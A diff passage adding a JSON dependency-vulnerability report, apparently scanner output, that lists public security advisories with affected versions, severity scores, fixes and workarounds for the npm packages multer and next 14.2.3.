+ "url": "https://github.com/expressjs/multer"
+ }
+ ],
+ "related": [
+ "CGA-qmrp-5vvj-r7pr"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service via unhandled exception"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v52c-386h-88mc/GHSA-v52c-386h-88mc.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.1.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-2359"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-772"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-01T01:18:27Z",
+ "nvd_published_at": "2026-02-27T16:16:25Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by dropping connection during file upload, potentially causing resource exhaustion.\n\n### Patches\n\nUsers should upgrade to `2.1.0`\n\n### Workarounds\n\nNone",
+ "id": "GHSA-v52c-386h-88mc",
+ "modified": "2026-03-06T23:43:55.494142Z",
+ "published": "2026-03-01T01:18:27Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-v52c-386h-88mc"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2359"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/cccf0fe0e64150c4f42ccf6654165c0d66b9adab"
+ },
+ {
+ "type": "WEB",
+ "url": "https://cna.openjsf.org/security-advisories.html"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2026-2359"
+ }
+ ],
+ "related": [
+ "CGA-gff5-7x3q-xp8v"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service via resource exhaustion"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-xf7r-hgr6-v32p/GHSA-xf7r-hgr6-v32p.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.1.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-3304"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-459"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-01T01:18:50Z",
+ "nvd_published_at": "2026-02-27T16:16:26Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.0 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing resource exhaustion.\n\n### Patches\n\nUsers should upgrade to `2.1.0`\n\n### Workarounds\n\nNone",
+ "id": "GHSA-xf7r-hgr6-v32p",
+ "modified": "2026-03-06T23:43:55.674728Z",
+ "published": "2026-03-01T01:18:50Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-xf7r-hgr6-v32p"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3304"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/739919097dde3921ec31b930e4b9025036fa74ee"
+ },
+ {
+ "type": "WEB",
+ "url": "https://cna.openjsf.org/security-advisories.html"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2026-3304"
+ }
+ ],
+ "related": [
+ "CGA-j49g-m3c4-p9gr"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service via incomplete cleanup"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "next",
+ "version": "14.2.3",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-36qx-fr4f-26g5"
+ ],
+ "aliases": [
+ "CVE-2026-44573",
+ "GHSA-36qx-fr4f-26g5"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-3g8h-86w9-wvmq"
+ ],
+ "aliases": [
+ "CVE-2026-44572",
+ "GHSA-3g8h-86w9-wvmq"
+ ],
+ "max_severity": "3.7"
+ },
+ {
+ "ids": [
+ "GHSA-3h52-269p-cp9r"
+ ],
+ "aliases": [
+ "CVE-2025-48068",
+ "GHSA-3h52-269p-cp9r"
+ ],
+ "max_severity": "2.3"
+ },
+ {
+ "ids": [
+ "GHSA-3x4c-7xq6-9pq8"
+ ],
+ "aliases": [
+ "CVE-2026-27980",
+ "GHSA-3x4c-7xq6-9pq8"
+ ],
+ "max_severity": "6.9"
+ },
+ {
+ "ids": [
+ "GHSA-4342-x723-ch2f"
+ ],
+ "aliases": [
+ "CVE-2025-57822",
+ "GHSA-4342-x723-ch2f"
+ ],
+ "max_severity": "6.5"
+ },
+ {
+ "ids": [
+ "GHSA-5j59-xgg2-r9c4"
+ ],
+ "aliases": [
+ "GHSA-5j59-xgg2-r9c4"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-7gfc-8cq8-jh5f"
+ ],
+ "aliases": [
+ "CVE-2024-51479",
+ "GHSA-7gfc-8cq8-jh5f"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-7m27-7ghc-44w9"
+ ],
+ "aliases": [
+ "CVE-2024-56332",
+ "GHSA-7m27-7ghc-44w9"
+ ],
+ "max_severity": "5.3"
+ },
+ {
+ "ids": [
+ "GHSA-8h8q-6873-q5fj"
+ ],
+ "aliases": [
+ "GHSA-8h8q-6873-q5fj"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-9g9p-9gw9-jx7f"
+ ],
+ "aliases": [
+ "CVE-2025-59471",
+ "GHSA-9g9p-9gw9-jx7f"
+ ],
+ "max_severity": "5.9"
+ },
+ {
+ "ids": [
+ "GHSA-c4j6-fc7j-m34r"
+ ],
+ "aliases": [
+ "CVE-2026-44578",
+ "GHSA-c4j6-fc7j-m34r"
+ ],
+ "max_severity": "8.6"
+ },
+ {
+ "ids": [
+ "GHSA-f82v-jwr5-mffw"
+ ],
+ "aliases": [
+ "CVE-2025-29927",
+ "GHSA-f82v-jwr5-mffw"
+ ],
+ "max_severity": "9.1"
+ },
+ {
+ "ids": [
+ "GHSA-ffhc-5mcf-pf4q"
+ ],
+ "aliases": [
+ "CVE-2026-44581",
+ "GHSA-ffhc-5mcf-pf4q"
+ ],
+ "max_severity": "4.7"
+ },
+ {
+ "ids": [
+ "GHSA-g5qg-72qw-gw5v"
+ ],
+ "aliases": [
+ "CVE-2025-57752",
+ "GHSA-g5qg-72qw-gw5v"
+ ],
+ "max_severity": "6.2"
+ },
+ {
+ "ids": [
+ "GHSA-g77x-44xx-532m"
+ ],
+ "aliases": [
+ "CVE-2024-47831",
+ "GHSA-g77x-44xx-532m"
+ ],
+ "max_severity": "5.9"
+ },
+ {
+ "ids": [
+ "GHSA-ggv3-7p47-pfv8"
+ ],
+ "aliases": [
+ "CVE-2026-29057",
+ "GHSA-ggv3-7p47-pfv8"
+ ],
+ "max_severity": "6.3"
+ },
+ {
+ "ids": [
+ "GHSA-gp8f-8m3g-qvj9"
+ ],
+ "aliases": [
+ "CVE-2024-46982",
+ "GHSA-gp8f-8m3g-qvj9"
+ ],
+ "max_severity": "8.7"
+ },
+ {
+ "ids": [
+ "GHSA-gx5p-jg67-6x7h"
+ ],
+ "aliases": [
+ "CVE-2026-44580",
+ "GHSA-gx5p-jg67-6x7h"
+ ],
+ "max_severity": "6.1"
+ },
+ {
+ "ids": [
+ "GHSA-h25m-26qc-wcjf"
+ ],
+ "aliases": [
+ "GHSA-h25m-26qc-wcjf"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-h64f-5h5j-jqjh"
+ ],
+ "aliases": [
+ "CVE-2026-44577",
+ "GHSA-h64f-5h5j-jqjh"
+ ],
+ "max_severity": "5.9"
+ },
+ {
+ "ids": [
+ "GHSA-mwv6-3258-q52c"
+ ],
+ "aliases": [
+ "GHSA-mwv6-3258-q52c"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-q4gf-8mx6-v5v3"
+ ],
+ "aliases": [
+ "GHSA-q4gf-8mx6-v5v3"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-qpjv-v59x-3qc4"
+ ],
+ "aliases": [
+ "CVE-2025-32421",
+ "GHSA-qpjv-v59x-3qc4"
+ ],
+ "max_severity": "3.7"
+ },
+ {
+ "ids": [
+ "GHSA-vfv6-92ff-j949"
+ ],
+ "aliases": [
+ "CVE-2026-44582",
+ "GHSA-vfv6-92ff-j949"
+ ],
+ "max_severity": "3.7"
+ },
+ {
+ "ids": [
+ "GHSA-wfc6-r584-vfw7"
+ ],
+ "aliases": [
+ "CVE-2026-44576",
+ "GHSA-wfc6-r584-vfw7"
+ ],
+ "max_severity": "5.4"
+ },
+ {
+ "ids": [
+ "GHSA-xv57-4mr9-wg8v"
+ ],
+ "aliases": [
+ "CVE-2025-55173",
+ "GHSA-xv57-4mr9-wg8v"
+ ],
+ "max_severity": "4.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-36qx-fr4f-26g5/GHSA-36qx-fr4f-26g5.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.2.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-36qx-fr4f-26g5/GHSA-36qx-fr4f-26g5.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44573"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-863"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T15:53:51Z",
+ "nvd_published_at": "2026-05-13T17:16:22Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nApplications using the Pages Router with `i18n` configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less `/_next/data/\u003cbuildId\u003e/\u003cpage\u003e.json` requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks.\n\n### Fix\nThe matcher logic was updated to perform the same match as it would on a non-i18n data route.\n\n### Workarounds\n\nIf you cannot upgrade immediately, enforce authorization in the page's server-side data path instead of relying solely on middleware.",
+ "id": "GHSA-36qx-fr4f-26g5",
+ "modified": "2026-05-14T20:48:35.793560Z",
+ "published": "2026-05-11T15:53:51Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44573"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-cr3j-6m49-fw86"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js has a Middleware / Proxy bypass in Pages Router applications using i18n"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3g8h-86w9-wvmq/GHSA-3g8h-86w9-wvmq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "12.2.0"
+ },
+ {
+ "fixed": "15.5.16"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3g8h-86w9-wvmq/GHSA-3g8h-86w9-wvmq.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0"
+ },
+ {
+ "fixed": "16.2.5"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44572"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-349"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-11T16:12:07Z",
+ "nvd_published_at": "2026-05-13T16:16:58Z",
+ "severity": "LOW"
+ },
+ "details": "### Impact\n\nNext.js uses the `x-nextjs-data` request header for internal data requests. On affected versions, an external client could send this header on a normal request to a path handled by middleware that returns a redirect.\n\nWhen that happened, the middleware/proxy could treat the request as a data request and replace the standard `Location` redirect header with the internal `x-nextjs-redirect` header. Browsers do not follow `x-nextjs-redirect`, so the response became an unusable redirect for normal clients.\n\nIf the application was deployed behind a CDN or reverse proxy that caches 3xx responses without varying on this header, a single attacker request could poison the cached redirect response for the affected path. Subsequent visitors could then receive a cached redirect response without a `Location` header, causing a denial of service for that redirect path until the cache entry expired or was purged.\n\n### Affected scenarios\n\nThis affects applications that:\n- use middleware or proxy redirects\n- are deployed behind a caching CDN or reverse proxy\n- allow 3xx responses on those paths to be cached without differentiating internal data requests from normal requests\n\n### Fix\n\nThe fix stops trusting `x-nextjs-data` by itself for middleware redirect handling. A request is now treated as an internal data request only when it is validated as such by internal routing state, preserving legitimate data-request redirect behavior while preventing external header injection from changing normal redirect responses.\n\n### Workarounds\n\nBefore upgrading, users can reduce risk by:\n- configuring the CDN or reverse proxy to vary its cache key on `x-nextjs-data` for affected responses",
+ "id": "GHSA-3g8h-86w9-wvmq",
+ "modified": "2026-05-14T20:48:38.453205Z",
+ "published": "2026-05-11T16:12:07Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-3g8h-86w9-wvmq"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44572"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
+ }
+ ],
+ "related": [
+ "CGA-pq86-cv7v-xxgf"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js's Middleware / Proxy redirects can be cache-poisoned"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-3h52-269p-cp9r/GHSA-3h52-269p-cp9r.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0"
+ },
+ {
+ "fixed": "15.2.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-3h52-269p-cp9r/GHSA-3h52-269p-cp9r.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.0"
+ },
+ {
+ "fixed": "14.2.30"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-48068"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1385"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-28T21:52:13Z",
+ "nvd_published_at": "2025-05-30T04:15:48Z",
+ "severity": "LOW"
+ },
+ "details": "## Summary\n\nA low-severity vulnerability in **Next.js** has been fixed in **version 15.2.2**. This issue may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while `npm run dev` is active.\n\nBecause the mitigation is potentially a breaking change for some development setups, to opt-in to the fix, you must configure `allowedDevOrigins` in your next config after upgrading to a patched version. [Learn more](https://nextjs.org/docs/app/api-reference/config/next-config-js/allowedDevOrigins).\n\nLearn more: https://vercel.com/changelog/cve-2025-48068\n\n## Credit\n\nThanks to [sapphi-red](https://github.com/sapphi-red) and [Radman Siddiki](https://github.com/R4356th) for responsibly disclosing this issue.",
+ "id": "GHSA-3h52-269p-cp9r",
+ "modified": "2025-06-13T14:41:21Z",
+ "published": "2025-05-28T21:52:13Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48068"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/cve-2025-48068"
+ }
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Information exposure in Next.js dev server due to lack of origin verification"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3x4c-7xq6-9pq8/GHSA-3x4c-7xq6-9pq8.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "16.0.0-beta.0"
+ },
+ {
+ "fixed": "16.1.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3x4c-7xq6-9pq8/GHSA-3x4c-7xq6-9pq8.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "10.0.0"
+ },
+ {
+ "fixed": "15.5.14"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-27980"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-400"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-17T16:17:06Z",
+ "nvd_published_at": "2026-03-18T01:16:04Z",
+ "severity": "MODERATE"
+ },
+ "details": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. Note that this does not impact platforms that have their own image optimization capabilities, such as Vercel.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)",
+ "id": "GHSA-3x4c-7xq6-9pq8",
+ "modified": "2026-03-20T14:59:12.698482Z",
+ "published": "2026-03-17T16:17:06Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27980"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/releases/tag/v16.1.7"
+ }
+ ],
+ "related": [
+ "CGA-3h3v-gc7q-fgxv"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Next.js: Unbounded next/image disk cache growth can exhaust storage"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4342-x723-ch2f/GHSA-4342-x723-ch2f.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0.9.9"
+ },
+ {
+ "fixed": "14.2.32"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4342-x723-ch2f/GHSA-4342-x723-ch2f.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.0-canary.0"
+ },
+ {
+ "fixed": "15.4.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-57822"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-918"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-29T21:33:09Z",
+ "nvd_published_at": "2025-08-29T22:15:32Z",
+ "severity": "MODERATE"
+ },
+ "details": "A vulnerability in **Next.js Middleware** has been fixed in **v14.2.32** and **v15.4.7**. The issue occurred when request headers were directly passed into `NextResponse.next()`. In self-hosted applications, this could allow Server-Side Request Forgery (SSRF) if certain sensitive headers from the incoming request were reflected back into the response.\n\nAll users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the `next()` function.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57822)",
+ "id": "GHSA-4342-x723-ch2f",
+ "modified": "2026-02-04T04:20:45.658010Z",
+ "published": "2025-08-29T21:33:09Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/security/advisories/GHSA-4342-x723-ch2f"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57822"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/vercel/next.js/commit/9c9aaed5bb9338ef31b0517ccf0ab4414f2093d8"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/vercel/next.js"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vercel.com/changelog/cve-2025-57822"
+ }
+ ],
+ "related": [
+ "CGA-wpvj-5hjh-p49g"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Next.js Improper Middleware Redirect Handling Leads to SSRF"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "13.3.1-canary.0"
+ },
+ {
+ "fixed": "14.2.35"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.0.6"
+ },
+ {
+ "fixed": "15.0.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.1.10"
+ },
+ {
+ "fixed": "15.1.11"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.2.7"
+ },
+ {
+ "fixed": "15.2.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.3.7"
+ },
+ {
+ "fixed": "15.3.8"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.4.9"
+ },
+ {
+ "fixed": "15.4.10"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.5.8"
+ },
+ {
+ "fixed": "15.5.9"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "next",
+ "purl": "pkg:npm/next"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "15.6.0-canary.59"
+ },
+ {
+ "fixed": "15.6.0-canary.60"
+ }
+ ],
+ "type": "SEMVER"
